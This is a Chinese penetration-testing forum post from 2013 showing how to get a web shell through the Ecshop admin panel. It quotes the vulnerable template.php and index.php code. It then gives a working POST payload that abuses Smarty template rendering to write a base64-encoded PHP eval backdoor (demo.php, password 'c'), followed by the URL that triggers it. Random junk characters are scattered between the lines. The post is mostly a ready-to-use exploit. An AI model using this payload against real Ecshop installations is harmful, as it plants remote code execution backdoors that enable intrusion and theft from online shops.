中国网络渗透测试联盟
标题:
Ecshop后台getshell
[打印本页]
作者:
admin
时间:
2013-1-11 21:33
标题:
Ecshop后台getshell
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
! Z+ K3 |* }) Q# B. o( D! `
. B- T/ f/ x \6 r. i% @- O! u
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
/ a! a& c, f! b& y) t. ]
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
0 P1 l: Y8 L! ?5 |* G: J2 S5 F
admin/template.php
, T, R( i$ f5 t& ~% K6 M( p( c; D2 t
4 B. u- V* x4 v$ L
1 if ($_REQUEST['act'] == 'update_library')
6 B- e k0 I& D1 t' L& r e2 n/ @
- y$ z" l6 Y7 U4 b) w
2
. P( U+ V5 A2 {) H6 T6 u
; v. P1 `% p# T( | b; s9 M, a7 ^
3 {
& B3 a# n' |0 H! W+ V. A0 m$ V
: G. s; s# ~, o. ~
4 check_authz_json('library_manage');
" n" c. d7 `; U; I0 X/ [+ O% ^1 C3 _+ |
+ e I" b+ K! O, k5 T& W6 J2 H
5
! g# S2 {: Y: S, O5 C$ ]% E8 F% ?) H
4 K8 ?4 k d6 m1 w
6 $html = stripslashes(json_str_iconv($_POST['html']));
/ A( E4 N5 F0 u0 Z3 P$ D: Y+ U' N" E
( R4 w* p' \4 G' G" Q$ Z" p
7
9 l* [% p! J( L7 p, L7 i; R' ?
! A- u7 w c/ s0 {2 b5 `. Q
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
4 ~3 p' q L( I6 A$ q8 a
7 o5 \6 l+ y4 K2 c0 |
9
: ^% w- w0 b/ _
7 v" Q1 c% P/ n% ?0 x( p5 T
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
6 C c. b) D7 ^6 d4 q
5 v) j& u) B0 x! Z4 q
11
: q# ^5 H* O8 n* Z% @7 ~& @) `
! X' H: E) R* R
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
& |: M* H. o3 j9 C
7 H6 U: }2 x5 G7 N& J: _7 a
13
3 Q* e! Q, Z3 k% s; j+ |4 f
* l8 S# P) q: D4 c* q! _8 e ~
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
- d. t& M. e" Q5 U: {5 }* k
* t$ P$ E- V" x0 Y6 Q( N
15 {
" e: {) O9 s. B1 Q3 G
$ [; I9 [. I5 o
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
& O: h' d/ o' W/ k- i' h
) B$ {6 R: [# }2 D, W6 I* n- c( Y
17 make_json_result('', $_LANG['update_lib_success']);
$ ^8 z: _3 F& l+ R3 [0 R
' M# D( ^ e% @; D% O% `* u7 `
18 }
2 P, k! ~2 w* P7 L4 A' I* o9 ~/ v
7 i/ H9 r0 V! o3 Z& A3 s6 b9 X
19 else
+ s b$ S- o& H$ T
' H2 H; K4 s4 v: H7 @
20 {
s( y( K4 t* U: I4 E0 Q
+ T6 l G$ W9 m2 O
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
+ Y4 Y" O9 q& Z2 {+ G# v2 t) [
0 `# s8 u9 s: y
22 }
( [+ q* s2 |2 S& y- _2 j* U
& O5 Z2 V5 h: o: G5 A e! M
23 }
1 {% y$ V7 M2 d) O2 _$ x
8 l! g2 ?* ^; ]4 {
那么找个比较方便调用了模板的文件
/ }( u, U- u6 P1 @" a
index.php
& `0 D, Q+ B9 L3 E) h/ n8 O( x: W
; ~8 Z) m& F- |: }2 [; ?
1 if ($act == 'cat_rec')
% Q2 E6 b# y* c6 F- \; n ~
# r* h8 r1 U7 e. @
2
+ y" V$ K4 J3 R' z4 O
$ ]! [ h& t% c0 d
3 {
& Y" `1 j/ ?' p( |( T
* l1 }9 {- j2 V4 w& L
4
5 t3 E8 r4 k# R+ h3 E& Y4 Y
0 _& y/ E! X1 x; o
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
- j j% U$ D$ B8 [7 R
5 Z% X1 G* E' w% o) i8 `+ O- [
6
s( h4 J2 `8 t, J: r; V! ?3 |. S
4 O' s+ V/ h) T$ n- T$ ]+ O
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
7 {( L, H2 C5 W4 Q! c0 B% W
% C% o3 ] m. o: C7 \6 t+ D- Y% c
8
3 l+ T( i. m& P; m* f7 _$ `# t5 r
: n- C$ u, D! k9 ]
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
% _ [5 Q$ l* U2 j/ t
$ x8 Z) o2 T9 E1 i) w" ^4 o8 {
10
0 q) ^, Y5 C. C4 g, Z/ Q
2 A( s& K- v5 p' ^
11 include_once('includes/cls_json.php');
: N0 d" k6 ~) V6 a8 t4 k4 F/ g
7 z- E+ w% ~+ U
12
( l& e. z! M5 T% h" S$ |9 m
3 z) ~4 e4 B$ O! x: e
13 $json = new JSON;
4 V9 Z6 _: `& j. I, [
. Z+ Y9 y' C- N4 q
14
; U7 _0 x5 E* S3 l) `
/ N- h, ^; k" K& s7 g( h. v
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
3 G) a4 D! _& G
' _1 E3 Q; _1 M$ N2 e; E
16
+ P/ }2 y( M: D) E* V+ ` n
3 Z% g: R4 [. k: g( v ?- e# I3 ^$ q
17 $children = get_children($cat_id);
: G' W( N+ E/ ^0 |! \* `( I
9 i9 e* i2 H% h$ Y2 y1 ^% B
18
; d1 H1 M/ g5 D5 V+ S7 [. e
: @/ I. s4 K) h6 y9 c: r
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
+ z+ H! S2 [1 m, `; i
* {5 l9 q5 _$ q9 p8 `
20
$ n9 F) p$ K+ y. Y% y$ T' y
; c5 z! J. y. G' w1 ~
21 $smarty->assign('cat_rec_sign', 1);
+ V8 Z0 s9 L$ `4 }% C" E2 {: B' S
. c6 [) I% q, g; k* m
22
0 n8 ^0 d4 B U+ M1 B4 o. I
8 h) u- K2 K9 R# L3 S
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
+ j9 I/ N2 W# }; U7 {( r% e
~1 ], h' I- H1 ~) ^( G# _
24
1 k* g! c4 g2 \! W9 j" B
8 ~* o" }2 H4 w! v. d) n5 q
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
8 f( ?% k! ^0 h K" `3 X r, `2 i- U
' Y& c9 U$ F- T& ]- o
26
: x' Z2 N) u) q1 w% h
6 l# ~* y0 O1 J1 @( p4 X3 m# R
27 echo $rec_array[$rec_type];
' `7 P6 Q6 K: t
{: C, d( {6 H3 n) {- Y
28
& A6 f$ y$ x' ~2 ]5 e# R
( c/ E1 N7 c! u' Y1 |
29 die($json->encode($result));
% l. z/ w7 u- a& f$ l2 u
1 @5 N5 R) z9 p4 b5 y$ Q7 x3 D
30
4 q7 \9 f$ u7 D& x, z1 F
$ O& f, U% Z1 i2 S1 V/ J" n
31 }
! o0 ^' w3 u9 {& x: f5 v
1 X0 m& I s" b2 q5 {7 K* c
那么就有利用方法了
E7 I2 l; ^% o8 N) k; U( l% F
post包到http://localhost/ec/admin/template.php?act=update_library
% ~* B7 B: ]+ o! c& S
Post内容:
9 K# l2 J8 x" C* R1 N! V
1 x* A: s# w% [# `4 ^. I
2 p: y. E* b# N
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
& N7 Y* ^& a m$ I+ S! q9 _
6 h" d& J, w, O+ X9 T) B7 m& A% y+ h
然后访问http://localhost/ec/index.php?act=cat_rec
; d4 _8 v" @1 h0 m3 S7 J4 F/ l
+ [1 i# M3 B& c4 ~
shel地址:http://localhost/ec/demo.php
V. o& {! e+ H" c' i& R
密码c
$ M9 d5 Z5 t& z1 u& L6 O: g9 a
# N7 U: J- s. n) ?5 U: C% Z& t$ k
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2